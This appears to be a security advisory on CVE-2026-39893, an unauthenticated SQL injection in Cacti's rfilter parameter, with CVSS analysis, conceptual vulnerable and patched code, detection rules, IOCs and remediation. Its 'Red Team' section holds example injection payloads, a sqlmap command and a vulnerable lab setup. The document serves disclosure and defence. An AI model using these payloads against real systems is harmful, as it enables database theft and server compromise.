CVE-2026-39893

Executive Summary

CVE-2026-39893 is a critical unauthenticated SQL injection vulnerability in Cacti, an open-source performance and fault management framework. The flaw resides in the handling of the rfilter request variable, which is directly concatenated into an RLIKE SQL clause without any sanitization. This allows an attacker to inject arbitrary SQL commands. The endpoint does not require authentication, as graph viewing supports guest access via the configured guest user. This makes the vulnerability exploitable pre-authentication on installations where guest viewing is enabled. The CVSS score is 9.8 (Critical), and the vulnerability affects all versions up to and including 1.2.30. The patch was released in version 1.2.31.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). Cacti is typically distributed as a source tarball or via package managers like apt or yum. The risk is primarily to self-hosted Cacti instances.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) - Full database read access.
• Integrity Impact: High (I:H) - Full database write access.
• Availability Impact: High (A:H) - Potential for denial of service or data destruction.

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete compromise of the Cacti database and underlying server.

Deep Dive & Mechanics

The vulnerability exists in the graph viewing functionality of Cacti. When a user views a graph, the rfilter parameter is used to filter results. This parameter is passed to a SQL query that uses the RLIKE operator (MySQL's regex matching). The code directly concatenates the user-supplied rfilter value into the SQL string without any sanitization or parameterization.

Vulnerable Code Path (Conceptual):

$sql = "SELECT * FROM graph_data WHERE name RLIKE '" . $_GET['rfilter'] . "'";

An attacker can inject a single quote to break out of the string and then append arbitrary SQL. For example:

?rfilter=' OR 1=1 --

This would result in the SQL:

SELECT * FROM graph_data WHERE name RLIKE '' OR 1=1 --'

The -- comments out the rest of the query, and OR 1=1 returns all rows.

The endpoint is accessible without authentication because Cacti allows guest users to view graphs. This is a common configuration for monitoring dashboards.

Vulnerable vs. Patched Code

Vulnerable Code (Cacti <= 1.2.30):

// In graph_view.php or similar
$rfilter = $_GET['rfilter'];
$sql = "SELECT * FROM graph_data WHERE name RLIKE '$rfilter'";
$result = db_fetch_assoc($sql);

Patched Code (Cacti >= 1.2.31):

// In graph_view.php or similar
$rfilter = $_GET['rfilter'];
$rfilter = sanitize_search_string($rfilter); // New sanitization function
$sql = "SELECT * FROM graph_data WHERE name RLIKE '$rfilter'";
$result = db_fetch_assoc($sql);

The patch introduces a sanitize_search_string() function that escapes or removes dangerous characters (like single quotes) from the rfilter parameter before it is used in the SQL query. This prevents SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Cacti instance (version <= 1.2.30) with guest viewing enabled.
• Network access to the Cacti web interface.

Exploitation Steps:

1. Identify the vulnerable endpoint: The graph viewing page (e.g., /graph_view.php or /graph.php).
2. Craft the injection payload: Use a single quote to break out of the string and inject SQL.
3. Extract data: Use UNION-based or blind SQL injection to extract data from the database.

Example Payloads:

• Boolean-based blind injection:

  /graph_view.php?rfilter=' OR (SELECT 1 FROM users WHERE username='admin' AND password LIKE 'a%')=1 --
  

• UNION-based injection to extract data:

  /graph_view.php?rfilter=' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM users --
  

• Time-based blind injection:

  /graph_view.php?rfilter=' OR IF((SELECT 1 FROM users WHERE username='admin' AND password LIKE 'a%'), SLEEP(5), 0) --
  

Automated Exploitation (using sqlmap):

sqlmap -u "http://target/graph_view.php?rfilter=test" --batch --level=5 --risk=3 --dbms=mysql

Lab Setup:

1. Deploy a vulnerable Cacti instance using Docker:

   docker run -d -p 8080:80 --name cacti-vuln cacti/cacti:1.2.30
   

2. Access the web interface at http://localhost:8080.
3. Enable guest access in the Cacti settings (if not already enabled).
4. Perform the exploitation steps above.

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious rfilter parameters containing SQL keywords (e.g., UNION, SELECT, SLEEP, OR 1=1).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.
• Implement database activity monitoring to detect anomalous queries.

Mitigation:

• Immediately upgrade Cacti to version 1.2.31 or later.
• If upgrading is not possible, disable guest access to graph viewing.
• Apply virtual patching via a WAF to block SQL injection attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /graph_view.php or /graph.php with a rfilter parameter containing SQL keywords.
• Unusual database queries containing RLIKE with injected SQL.
• Outbound database connections from the Cacti server to an attacker-controlled IP.

Host IOCs:

• Unexpected files in the Cacti web directory (e.g., webshells).
• Modified Cacti configuration files.
• New user accounts in the Cacti database.
• Unusual processes running on the Cacti server.

Log IOCs:

• Web server logs showing SQL injection attempts.
• Database logs showing failed or anomalous queries.
• System logs showing unauthorized access attempts.

Detection Engineering

YARA Rule

rule CVE_2026_39893_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2026-39893 in Cacti"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-39893"
    strings:
        $sqli1 = "rfilter=" nocase
        $sqli2 = "' OR " nocase
        $sqli3 = "' UNION " nocase
        $sqli4 = "' AND " nocase
        $sqli5 = "SLEEP(" nocase
        $sqli6 = "RLIKE" nocase
    condition:
        all of ($sqli1, $sqli6) and 1 of ($sqli2, $sqli3, $sqli4, $sqli5)
}

Sigma Rule

title: Cacti CVE-2026-39893 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the rfilter parameter in Cacti
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'rfilter='
        cs-uri-query|contains|any:
            - "' OR "
            - "' UNION "
            - "' AND "
            - "SLEEP("
            - "RLIKE"
    condition: selection
falsepositives:
    - Legitimate use of RLIKE in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Cacti CVE-2026-39893 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"rfilter="; http_uri; content:"' OR "; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"Cacti CVE-2026-39893 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"rfilter="; http_uri; content:"' UNION "; http_uri; sid:1000002; rev:1;)
alert http any any -> any any (msg:"Cacti CVE-2026-39893 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"rfilter="; http_uri; content:"' AND "; http_uri; sid:1000003; rev:1;)
alert http any any -> any any (msg:"Cacti CVE-2026-39893 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"rfilter="; http_uri; content:"SLEEP("; http_uri; sid:1000004; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Cacti: Update to version 1.2.31 or later immediately.
2. Disable Guest Access: If upgrading is not possible, disable guest viewing in Cacti settings to require authentication.
3. Apply Virtual Patching: Use a WAF to block SQL injection patterns in the rfilter parameter.

Long-term Measures:

1. Input Validation: Implement strict input validation and parameterized queries for all user-supplied data.
2. Least Privilege: Ensure the database user used by Cacti has minimal privileges (e.g., no DROP or CREATE).
3. Regular Updates: Keep Cacti and all dependencies up to date.
4. Security Audits: Conduct regular security audits and penetration testing.

Workaround (if patching is delayed):

• Modify the web server configuration to block requests containing SQL injection patterns in the rfilter parameter.
• Use a reverse proxy with WAF capabilities.

Valters IT
Securing Digital Frontiers